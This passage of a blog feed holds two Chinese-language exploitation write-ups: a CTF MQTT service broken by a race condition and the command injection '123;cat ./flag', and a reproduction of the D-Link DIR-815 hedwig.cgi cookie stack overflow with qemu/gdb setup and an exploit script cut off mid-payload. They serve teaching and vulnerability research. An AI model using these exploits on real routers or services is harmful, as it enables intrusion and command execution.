data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">CJSON_PUBLIC(cJSON *) cJSON_ParseWithLength(const char *value, size_t buffer_length);  </span><br><span class="line">//和 cJSON_Parse没有太大区别，其内部也要计算json字符串的长度</span><br></pre></td></tr></table></figure></div><p><code>cJSON_ParseWithLength</code> 函数使用一个已知的长度来解析JSON ，并且返回一个指向 cJSON 结构体的指针。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">CJSON_PUBLIC(cJSON *) cJSON_GetObjectItem(const cJSON * const object, const char * const string);</span><br><span class="line">如果想直接通过键名的方式获得键值，可以通过此方法。定位到想要的键名的层次之后，调用此函数即可。（注意，输入的键名是不区分大小写的，也就是说cJSON_GetObjectItem(root, &quot;name&quot;)和cJSON_GetObjectItem(root, &quot;NAME&quot;)）是一样的。要是想要区分大小写，请使用cJSON_GetObjectItemCaseSensitive函数，使用方法跟cJSON_GetObjectItem一致</span><br></pre></td></tr></table></figure></div><p>这里分别调用了三次 <code>cJSON_GetObjectItem</code> 函数 ，作用是解析 json 数据 ：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021544.png"                      alt="image-20250928152452977"                ></p><p>查看汇编代码可以发现，从JSON对象（v10）中获取的三个 <code>item</code> （键值对） 的 “值” ，其中键分别是 “auth” ，”cmd” ，”arg” 。</p><p>然后又连续调用了三次 <code>strcpy</code> 函数 ，把取出来的值依次存储到指定变量内 。</p><p>接着又调用了<code>pthread_create函数</code> 再次创建一个新进程，用来处理 json 解析之后的数据 ，也就是我们取出来的值。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021478.png"                      alt="image-20250928152919598"                ></p><p>进入新进程函数，发现在函数开头有一个 <code>sub_160E</code> 函数，这是一个检查：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021931.png"                      alt="image-20250928152952733"                ></p><p>就是比较 dest （其实就是&#x2F;mnt&#x2F;VIN内的值）在经过 <code>sub_1509</code> 函数处理之后 ，放入 s2 数据是否与我们的<code>auth</code> 相一致，这里的 <code>auth</code> 就是我们使用 json 解析出来的其中一个值 ，如果不一致的话，这个进程就会打印 unauthorized ，然后进程直接结束 ，所以我们需要想办法绕过 。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021895.png"                      alt="image-20250928154030486"                ></p><p>观察一下这个函数 ，对 dest 进行了一个简单的加密 ，然后将其转化成宽度为8，用 0 补齐的十六进制数据，并且存储在 a2 里面 ，也就是我们前面所说的 s2 ，所以我们只要写一个逆向，来使我们输入的值经过加密之后使其还是与 dest 一致，这样就能绕过这个验证 。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for ch in vin:</span><br><span class="line">auth = auth*31 + ord(ch)</span><br><span class="line">auth = hex(auth)[-8:]</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021445.png"                      alt="image-20250928155430707"                ></p><p>绕过验证之后就会根据 cmd 来执行相应的命令 。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021826.png"                      alt="image-20250928155528700"                ></p><p>其中我们这个程序的主要漏洞主要出现在这里 ，这个 sleep 函数为条件竞争创建了条件 ，因为该回调函数是通过线程创建，然后 arg 参数又是全局变量，也就是说，我们可以通过该线程 sleep 的时候 ，再次发送该主题的消息，启动另外一个接收回调函数，然后我们就可以修改 arg 为我们想要的指令，第一个线程 sleep 完后，就会通过 popen 函数来执行我们输入的指令 ，实现命令注入 。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FILE * popen( const char * command,const char * type);</span><br></pre></td></tr></table></figure></div><p>关于 popen 函数 ，这里也简单扩展一下知识点，首先 popen 函数会调用 fork() 产生子进程 ，然后从子进程中调用 &#x2F;bin&#x2F;sh -c 来执行 command 的指令· ，参数 type 可以使用 <code>r</code>,<code>w</code> ，如果 type 为 r，那么调用进程读进 command 的标准输出 ，如果 type 为 w，那么调用进程写到 command 的标准输入。</p><p>若成功则返回<strong>文件指针</strong>，否则返回NULL，错误原因存于errno中。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;stdio.h&gt;</span><br><span class="line"> </span><br><span class="line">void main()</span><br><span class="line">&#123;</span><br><span class="line">    FILE *fp;</span><br><span class="line">    char buffer[80];</span><br><span class="line">    fp = popen(&quot;cat /etc/passwd&quot;, &quot;r&quot;);</span><br><span class="line">    fgets(buffer, sizeof(buffer), fp);</span><br><span class="line">    printf(&quot;%s&quot;, buffer);</span><br><span class="line">    pclose(fp);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>言归正传，当然程序这里对arg参数也有一个函数进行检测：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021229.png"                      alt="image-20250928171147871"                ></p><p>首先就是对参数的长度有检查 ，然后出现了一个 <code>__ctype_b_loc()</code> 函数 ，有一点看不懂 ，查阅一下资料。</p><p><code>__ctype_b_loc</code> 函数为其自己实现的，主要获取一个数组列表，可容纳-128~255范围的字符，对应字符值索引可获取到本地语言的字符集，对于要求的字符与掩码位求与即可得到该字符是否为某种掩码位类型的字符 。</p><p>这个 <code>8</code> 在这里就是一个<strong>位掩码</strong> ，在标准的 <code>ctype</code> 实现中 ，代表数字 <strong>(<code>_ISdigit</code>)</strong> 的标志位就是第 3 位，其值为 2 的三次方 ，也就是 8 。如果一个字符是数字，那么它的属性掩码中代表 <code>_ISdigit</code> 的那一位就是 1 。当这个属性掩码与 <code>8</code> (二进制 <code>00001000</code>) 进行按位与操作时，如果该字符是数字，结果就是 <code>8</code> (非零)， 如果该字符不是数字，那么 <code>_ISdigit</code> 位就是 <code>0</code>，按位与的结果就是 <code>0</code>。</p><p>所以这里就是判断 arg 字符串中的每一个字符是不是都是由阿拉伯数字构成的 ，如果不是则结束进程 ，不再执行命令。</p><p>弄清楚上面的一些步骤我们就可以开始写 EXP 了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021082.png"                      alt="image-20250930171547200"                ></p><p>记得订阅 diag&#x2F;resp ，因为我们使用命令注入后的输出就会通过 “diag&#x2F;resp” 主题的消息发送到各个客户端</p><h4 id="EXP："><a href="#EXP：" class="headerlink" title="EXP："></a>EXP：</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">import time</span><br><span class="line">import paho.mqtt.client as mqtt</span><br><span class="line">import json</span><br><span class="line"></span><br><span class="line">context(log_level = &quot;debug&quot;,os = &quot;linux&quot;,arch = &quot;amd64&quot;)</span><br><span class="line">p = remote(&#x27;127.0.0.1&#x27;,9999)</span><br><span class="line"></span><br><span class="line">def on_connect(client, userdata, flags, rc):</span><br><span class="line">    client.subscribe(&quot;diag&quot;)</span><br><span class="line">    client.subscribe(&quot;diag/resp&quot;)</span><br><span class="line">    print(&quot;Connected with result code &quot; + str(rc))</span><br><span class="line"></span><br><span class="line">def on_subscribe(client,userdata,mid,granted_qos):</span><br><span class="line">    print(&quot;消息发送成功&quot;)</span><br><span class="line"></span><br><span class="line">def publish(client,topic,auth,cmd,arg):</span><br><span class="line">    msg = &#123;</span><br><span class="line">        &quot;auth&quot;:auth,</span><br><span class="line">        &quot;cmd&quot;:cmd,</span><br><span class="line">        &quot;arg&quot;:arg</span><br><span class="line">    &#125;</span><br><span class="line">    result = client.publish(topic = topic, payload = json.dumps(msg))</span><br><span class="line">    print(json.dumps(msg))</span><br><span class="line">    print(result)</span><br><span class="line">    return result</span><br><span class="line"></span><br><span class="line">def on_message(client, userdata, msg):</span><br><span class="line">    message = msg.payload.decode()# Decode message payload</span><br><span class="line">    print(f&quot;Received message on topic &#x27;&#123;msg.topic&#125;&#x27;: &#123;message&#125;&quot;)</span><br><span class="line">    print(message)</span><br><span class="line"></span><br><span class="line">vin = &quot;test&quot;</span><br><span class="line">auth = 0</span><br><span class="line">for ch in vin:</span><br><span class="line">auth = auth*31 + ord(ch)</span><br><span class="line">auth = hex(auth)[-6:].rjust(8,&quot;0&quot;)</span><br><span class="line"></span><br><span class="line">topic = &quot;diag&quot;</span><br><span class="line">client = mqtt.Client()</span><br><span class="line">client.on_connect = on_connect</span><br><span class="line">client.on_message = on_message</span><br><span class="line">client.on_subscribe = on_subscribe</span><br><span class="line">client.connect(host = &quot;127.0.0.1&quot;,port = 9999,keepalive=10000)</span><br><span class="line"></span><br><span class="line">publish(client,&quot;diag&quot;,auth,&quot;set_vin&quot;,&quot;12345678910&quot;)</span><br><span class="line">sleep(0.5)</span><br><span class="line">publish(client,&quot;diag&quot;,auth,&quot;set_vin&quot;,&quot;123;cat ./flag&quot;)</span><br><span class="line">publish(client,&quot;diag&quot;,auth,&quot;set_vin&quot;,&quot;123;cat ./flag&quot;)</span><br><span class="line"></span><br><span class="line">sleep(1)</span><br><span class="line"></span><br><span class="line">client.loop_start()</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021049.png"                      alt="image-20250930171505401"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021848.png"                      alt="image-20250930171314971"                ></p><p><strong>参考链接：</strong></p><p>[<a class="link"   href="https://bbs.kanxue.com/thread-287727.htm" >原创]mqtt 协议pwn入门（ciscn2025 final mqtt）-Pwn-看雪论坛-安全社区|非营利性质技术交流社区<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://rocketma.dev/2025/07/19/final.mqtt/" >国赛 决赛 2025 - mqtt | RocketDevlog<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p> <a class="link"   href="https://blog.csdn.net/qq_44647223/article/details/113682631" >cJSON使用文档——超详细_cjson getitem-CSDN博客<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://zhuanlan.zhihu.com/p/644753810" >(16 封私信 &#x2F; 80 条消息) 什么是 JSON：深入解析什么是JSON及其功能 - 知乎<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://www.cnblogs.com/52php/p/5722238.html" >Linux C popen()函数详解 - 52php - 博客园<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://www.cnblogs.com/haomiao/p/6128459.html" >C 标准库系列之ctype.h - 浩月星空 - 博客园<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>]]>
    </content>
    <id>https://spacedrag0n-1.github.io/posts/12.html</id>
    <link href="https://spacedrag0n-1.github.io/posts/12.html"/>
    <published>2025-10-02T02:18:11.000Z</published>
    <summary>
      <![CDATA[<h2 id="mqtt-pwn"><a href="#mqtt-pwn" class="headerlink" title="mqtt-pwn"></a>mqtt-pwn</h2><p>MQTT（Message Queuing Telemetry]]>
    </summary>
    <title>mqtt-pwn小记</title>
    <updated>2025-10-02T02:21:22.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SpaceDraG0n</name>
    </author>
    <category term="知识分享" scheme="https://spacedrag0n-1.github.io/categories/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/"/>
    <category term="iot" scheme="https://spacedrag0n-1.github.io/tags/iot/"/>
    <content>
      <![CDATA[<h1 id="DIR-815-栈溢出漏洞-CNVD-2013-11625-复现"><a href="#DIR-815-栈溢出漏洞-CNVD-2013-11625-复现" class="headerlink" title="DIR-815 栈溢出漏洞(CNVD-2013-11625)复现"></a>DIR-815 栈溢出漏洞(CNVD-2013-11625)复现</h1><p>第一次真正的接触iot实战，还是有一点兴奋的，这次复现的漏洞是 DIR-815 栈溢出漏洞 。</p><h2 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h2><p><strong>binwalk</strong></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt install binwalk</span><br></pre></td></tr></table></figure></div><p>安装完 <code>binwalk</code> 后还需要安装 <code>sasquatch</code> 依赖，这是 <code>binwalk</code> 用于解压 <code>非标准SquashFS文件系统</code> 的关键，如果我们不安装这个依赖的话，我们后面分离固件得到的 <code> squashfs-root</code> 是空的。</p><p>安装方法如下：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 安装依赖库（关键步骤，否则编译会失败） </span><br><span class="line">sudo apt-get install build-essential zlib1g-dev liblzma-dev liblzo2-dev </span><br><span class="line"># 克隆仓库并编译 </span><br><span class="line">git clone https://github.com/devttys0/sasquatch.git </span><br><span class="line">cd sasquatch </span><br><span class="line">./build.sh</span><br></pre></td></tr></table></figure></div><p>这个时候如果触发了一个报错：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">unsquashfs.c: In function ‘read_super’:</span><br><span class="line">unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation]</span><br><span class="line"> 1835 |     if(swap)</span><br><span class="line">      |     ^~</span><br><span class="line">unsquashfs.c:1841:9: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’</span><br><span class="line"> 1841 |         read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block),</span><br><span class="line">      |         ^~~~~~~~~~~~~</span><br><span class="line">cc1: all warnings being treated as errors</span><br><span class="line">make: *** [&lt;builtin&gt;: unsquashfs.o] Error 1</span><br></pre></td></tr></table></figure></div><p>那需要我们执行这个：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">git clone --quiet --depth 1 --branch &quot;master&quot; https://github.com/devttys0/sasquatch</span><br><span class="line">cd sasquatch</span><br><span class="line">wget https://github.com/devttys0/sasquatch/pull/51.patch &amp;&amp; patch -p1 &lt;51.patch</span><br><span class="line">sudo ./build.sh</span><br></pre></td></tr></table></figure></div><p>如果还出现报错的话，我们需要修改 build.sh 文件</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#!/bin/bash</span><br><span class="line"># ...（前面部分不变）</span><br><span class="line"></span><br><span class="line"># Patch, build, and install the source</span><br><span class="line">cd squashfs4.3</span><br><span class="line">patch -p0 &lt; ../patches/patch0.txt</span><br><span class="line">cd squashfs-tools</span><br><span class="line">export CFLAGS=&quot;-Wno-error=dangling-pointer&quot;  # 关键修改</span><br><span class="line">make &amp;&amp; $SUDO make install</span><br></pre></td></tr></table></figure></div><p>然后再次运行</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">git clone --quiet --depth 1 --branch &quot;master&quot; https://github.com/devttys0/sasquatch</span><br><span class="line">cd sasquatch</span><br><span class="line">wget https://github.com/devttys0/sasquatch/pull/51.patch &amp;&amp; patch -p1 &lt;51.patch</span><br><span class="line">sudo ./build.sh</span><br></pre></td></tr></table></figure></div><h2 id="分离固件"><a href="#分离固件" class="headerlink" title="分离固件"></a>分离固件</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">binwalk -Me DIR-815.bin --run-as=root</span><br></pre></td></tr></table></figure></div><p>这个时候会出现一个 .extracted 的提取文件夹，里面就是我们分离出来的文件，进入 <code>squashfs-root</code></p><p>漏洞出现在 <code>hedwig.cgi</code> ，我们可以使用 find 指令进行搜查</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find ./ -name hedwig.cgi</span><br></pre></td></tr></table></figure></div><p>得到 <code>hedwig.cgi</code> 的路径：<strong>.&#x2F;htdocs&#x2F;web&#x2F;hedwig.cgi</strong></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">~/PWN/iot/CNVD-2013-11625/_DIR-815.bin.extracted/squashfs-root</span><br><span class="line">❯ find ./ -name hedwig.cgi</span><br><span class="line">./htdocs/web/hedwig.cgi</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021189.png"                      alt="image-20250925113524812"                ></p><p>根据路径找到 <code>hedwig.cgi</code> 输入 <code>ls -l</code> 查看 ，发现它其实是一个软链接，链接的是 ..&#x2F;htdocs&#x2F;cgibin 这个程序，但是不知道为什么我这里没有显示文件路径，正常情况应该是这样的：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021461.png"                      alt="image-20250925113724670"                ></p><p>进入 htdocs 文件夹：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">~/PWN/iot/CNVD-2013-11625/_DIR-815.bin.extracted/squashfs-root/htdocs</span><br><span class="line">❯ ls</span><br><span class="line">HNAP1   neap    smart404  upnpdevdesc  web     widget</span><br><span class="line">cgibin  phplib  upnp      upnpinc      webinc</span><br></pre></td></tr></table></figure></div><p>找到这个 <code>cgibin</code>  ，我们先初步对它进行一个简单的分析：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021824.png"                      alt="image-20250924084945177"                ></p><p>可以看到程序是 <code>mips</code> 架构，几乎没有开启任何保护 ，拖入 IDA 进行一个进一步分析：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021979.png"                      alt="image-20250924085221325"                > </p><p>在 main 函数找到 <code>hedwig.cgi</code> 的入口 ，双击进入：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021132.png"                      alt="image-20250925113938998"                ></p><p>注意这种取环境变量<code>REQUEST_METHOD</code>，后面有检查，必须要是 POST 请求才可以，环境变量我们可以自行设置。</p><p>然后就会进入 <code>cgibin_parse_request</code> 函数：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021114.png"                      alt="image-20250925114351079"                ></p><p>这个函数有一些环境变量也需要设置</p><p>接着我们进入 <code>sess_get_uid</code> 函数：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021398.png"                      alt="image-20250929100744296"                ></p><p>对环境变量 <code>HTTP_COOKIE</code> 进行获取 ，并将指向该环境变量的值的指针存储到 v3 变量 ，而后令 v5 等于 v3 ，</p><p>然后又对 v5 解引用，也就是说环境变量的第一个字符最终被存储到了 v7 。</p><p>接着就是一系列的分离操作，将环境变量<code>HTTP_COOKIE</code>等号之前的值存储到了 v2 ，将等号之后的值存储到 v4，需要注意的是对 v2 有一个检查，我们需要把它赋值为 “uid”。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021833.png"                      alt="image-20250929110651587"                ></p><p>漏洞点就存在与这里：</p><p><code>string = sobj_get_string((int)v4) </code> 此时string就是我们环境变量HTTP_COOKIE的等号后面的数据</p><p><code>sprintf(v27, &quot;%s/%s/postxml&quot;, &quot;/runtime/session&quot;, string)</code> 由于对string的长度没有检查，所以这里存在一个典型的栈溢出漏洞</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021022075.png"                      alt="image-20250929110840557"                ></p><p>我们往下看的时候还发现了 sprintf 函数，依旧存在这个漏洞，并且是一模一样的 ，把我们HTTP_COOKIE的等号后面的数据放到栈上 ，依旧是 v27 ，所以相当于是覆盖了上面的 sprintf 放在 v27 的数据 。</p><p>但是进入第二个 sprintf 的话需要满足两个条件，第一个就是必须存在 &#x2F;var&#x2F;tmp&#x2F;tmp.xml 文件 ，第二个就是 haystack 必须是非 0 。</p><p>满足第一个条件还好，但是满足第二个条件可能要对程序进行比较复杂的分析，还要经过一系列调试判断。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021022711.png"                      alt="image-20250930175103702"                ></p><p>我参考了 **winmt 师傅 **的文章，发现他对走到第二个 sprintf 函数进行了一个深入研究 ，但是我一开始复现的时候比较懒，发现就算不经过第二个 sprintf 函数也会溢出到返回地址，也就是说我们只用第一个 sprintf 函数就可以控制程序的执行流程了 。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021781.png"                      alt="image-20250930180047864"                >原因在于 <code>&quot;HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n&lt;hedwig&gt;&lt;result&gt;FAILED&lt;/result&gt;&lt;message&gt;%s&lt;/message&gt;&lt;/hedwig&gt;&quot;</code> 报错之后并没有直接 exit 退出程序，而是继续对 v3 和 v4 进行一个 del ，v4 虽然是我们之前 <code>HTTP_COOKIE</code> 环境变量里面的数据，但是这个数据已经被我们通过 sprintf 复制到栈上了 。（也可能是我哪里不知道或者弄错了&#x2F;(ㄒoㄒ)&#x2F;~~)</p><p>我们先使用 cyclic 模块创造 2000 个字符到 payload 文件</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">~/PWN/iot/CNVD-2013-11625/_DIR-815.bin.extracted/squashfs-root/htdocs</span><br><span class="line">❯ cyclic 2000 &gt; payload</span><br></pre></td></tr></table></figure></div><p>然后创建 start.sh 文件 ，注意一下文件路径之类的 </p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># start.sh</span><br><span class="line">#!/bin/bash</span><br><span class="line"> # 定义输入数据和相关变量</span><br><span class="line">INPUT=&quot;SPACE=Pwner&quot;                          # 发送的数据内容</span><br><span class="line">LEN=$(echo -n &quot;$INPUT&quot; | wc -c)                 # 计算内容长度</span><br><span class="line">COOKIE=&quot;uid=`cat payload`&quot;   </span><br><span class="line">echo $INPUT | qemu-mipsel -L ../ -0 &quot;hedwig.cgi&quot; -E REQUEST_METHOD=&quot;POST&quot; -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE=&quot;application/x-www-form-urlencoded&quot; -E HTTP_COOKIE=$COOKIE  -g 1234 ./cgibin</span><br><span class="line">#-0 参数用于强制设置程序的 argv[0] 值， 后面的 -E 是设置环境变量了 -g 指定端口 echo 可以实现post的功能</span><br></pre></td></tr></table></figure></div><p>然后创建一个 gdb 文件 ，写入以下内容</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">set arch mips </span><br><span class="line">set follow-fork-mode child</span><br><span class="line">set detach-on-fork off</span><br><span class="line">symbol-file ./cgibin</span><br><span class="line">target remote localhost:1234</span><br><span class="line">b *0x00409680</span><br></pre></td></tr></table></figure></div><p>我们需要开启两个终端 ，一个执行 start.sh，另外一个执行 gdb-multiarch</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021438.png"                      alt="image-20250930190944660"                ></p><p>计算可以得到偏移</p><p>这里我们可以选择把 shellcode 写到栈上 ，然后跳转过去执行 。</p><p>但是要注意<strong>缓存不一致性</strong>的问题：</p><p>指的是指令缓存区（<code>Instruction Cache</code>）和数据缓存区（<code>Data Cache</code>）两者的同步需要一个时间来同步，常见的就是，比如我们将<code>shellcode</code>写入栈上，此时这块区域还属于数据缓存区，如果我们此时像<code>x86_64</code>架构一样，直接跳转过去执行，就会出现问题，因此，我们<strong>需要调用<code>sleep</code>函数</strong>，先停顿一段时间，给它时间从数据缓存区转成指令缓存区，然后再跳转过去，才能成功执行。</p><p>我们还需要得到 libc 的基地址 ，由于 qemu 用户态的libc地址是不会改变的 ，所以我们可以定位到 memset 函数上来 </p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021454.png"                      alt="image-20250930194333120"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021021830.png"                      alt="image-20250930194405532"                ></p><p>我们先找到它在libc中的偏移 ，然后我们再利用 gdb-multiarch 调试 ，找到 memset 的地址</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021022546.png"                      alt="image-20250930194527575"                ></p><p>计算就可以得到 libc 的基地址了 ，每一个人的 libc 地址都不一样 ，所以这里需要自己去算一下</p><h3 id="EXP："><a href="#EXP：" class="headerlink" title="EXP："></a>EXP：</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">context(os = &#x27;linux&#x27;, arch = &#x27;mips&#x27;, log_level = &#x27;debug&#x27;)</span><br><span class="line"> </span><br><span class="line">libc_base = 0x3ff38000 # 这里的libc_base每个人都是不一样的需要修改</span><br><span class="line"> </span><br><span class="line">payload = b&#x27;a&#x27;*1007</span><br><span class="line">payload += b&#x27;a&#x27;*4</span><br><span 